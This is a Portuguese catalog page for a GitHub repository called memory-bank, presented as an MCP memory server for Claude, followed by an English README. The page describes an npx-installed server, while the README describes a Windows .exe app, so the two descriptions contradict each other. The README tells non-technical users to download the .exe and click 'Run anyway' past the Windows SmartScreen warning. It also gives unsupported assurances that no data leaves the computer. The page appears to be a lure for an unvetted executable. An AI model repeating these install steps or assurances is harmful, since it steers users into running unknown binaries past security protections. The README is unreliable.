Memory Bank
josiahcrackle9631/memory-bank
Memória de longo prazo para manter contexto em sessões estendidas com economia de tokens
Ver no GitHubUm MCP server que estende a janela de contexto de LLMs através de um sistema de gerenciamento de memória persistente. Armazena histórico de projetos, regras e contexto em formato compreensível pela IA, reduzindo consumo de tokens e melhorando consistência em sessões longas.
Instalação
npx convez-ai josiahcrackle9631/memory-bank1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Manter consistência em projetos de desenvolvimento de longa duração
- Reduzir repetição de contexto e economia de tokens em conversas extensas
- Armazenar preferências de estilo de código e regras do projeto entre sessões
Veredito

Solução prática para contornar limitações de contexto em sessões longas com Claude, com implementação via MCP server. Carece de documentação técnica detalhada sobre arquitetura e integração com o ecossistema Claude, mas a proposta é funcional para uso em projetos locais.
README
A tradução para o português deste README ainda está na fila.
🧠 memory-bank - Keep your chat sessions smarter longer
Your AI assistant often forgets details during long projects. This happens because the AI creates a temporary, short-term memory that resets every time you start a new conversation. Memory-bank solves this problem by giving your AI a long-term storage space. The system saves your project progress, rules, and history in a format the AI understands. This improves performance and keeps your work consistent over time.
⚙️ Why use this tool
Large AI models process a lot of data. Every time the AI analyzes your information, it consumes tokens. Tokens act as the currency of AI communication. When an AI loses track of your project goals, it repeats questions, wastes tokens, and creates errors. Memory-bank keeps essential information organized. This results in faster sessions and lower costs.
- Saves project history across different chat sessions.
- Helps the AI remember your specific coding style.
- Reduces the number of times you repeat yourself.
- Works with automatic recovery if errors occur in your data.
- Keeps your project structured and easy to read.
💻 System requirements
You do not need prior programming skills to run this software. Ensure your computer meets these basic requirements before you begin:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 200 megabytes of free disk space.
- Internet: An active connection to download the initial release.
🚀 Downloading the software
To begin using the tool, visit the official releases page. This page contains the latest version of the software.
Click here to visit the release page to download your file
Look for the file ending in .exe under the "Assets" heading of the latest release. Click that file to save it to your computer.
🛠️ Setting up your environment
Once you download the file, follow these steps to set up the software on your Windows machine:
- Locate the downloaded file in your "Downloads" folder.
- Double-click the file to start the installation process.
- If a window appears that says "Windows protected your PC," click "More info," and then click "Run anyway." This message appears for many newer programs.
- Follow the instructions on the screen to install the software in your preferred folder.
- Create a folder on your desktop where you want to keep your project data.
- Open the application from your Start menu after the setup finishes.
📋 Connecting your project
After the installation, you must link the application to your project folder. The software acts as a middleman between your work and the AI model.
- Open the Memory-bank app.
- Click the "Add Project" button in the center of the screen.
- Select the folder where you store your project files.
- The app will create a hidden file named
.memory-bankin that folder. This file holds the long-term memory for your AI. - You can now use your AI assistant as you normally would. The software tracks your context in the background.
🔍 Understanding your data
Memory-bank organizes data in clear, human-readable files. You can open these files at any time using Notepad or any text editor. You will see sections that outline your current tasks, your project progress, and specific instructions you gave the AI.
If you want to clear the AI's memory, simply delete the contents of these files. If you want to change how the AI behaves, edit the instructions inside the file. The tool refreshes its understanding based on these files.
🛡️ Managing safety and privacy
Your data stays on your computer. Memory-bank does not send your files or project history to an external server. The only data that moves to the cloud is the information you explicitly share with your AI provider during your regular chat sessions. This ensures you maintain control over your notes and project details at all times.
💡 Troubleshooting common issues
If you encounter issues, check these frequent solutions:
- App does not open: Ensure you installed the latest version from the releases link. Restart your computer if the installer seems stuck.
- AI stops remembering: Check if the
.memory-bankfile exists in your project directory. If the file is missing or empty, ask your AI to "rebuild the memory bank." - Permission errors: Make sure your user account has "read and write" permissions for the folder you chose for your project.
- High memory usage: If the app slows down, close other browser tabs or background applications. The software scales its usage based on your project size.
🌟 Contributing to the project
Users can improve the software by reporting bugs or suggesting new features directly on GitHub. If you see a behavior that seems incorrect, open an "Issue" on the repository page. Clear descriptions help the team fix problems faster. You do not need developer skills to report a problem; just describe what happened and what you expected the tool to do.
📝 Frequently asked questions
Do I need to pay for this? No. This tool is free for everyone to use and modify.
Does this work with every AI? It works best with models like Claude. It provides the most benefit when you use it with professional-grade AI systems.
Can I move my project to a new computer?
Yes. Copy your project folder, including the hidden .memory-bank folder, to your new machine. Install the application on the new machine and point it to that same folder.
What happens if I delete the memory file? The AI will lose the accumulated context from previous sessions. It will treat your next request like a brand-new project. This is safe to do if you want to perform a manual reset.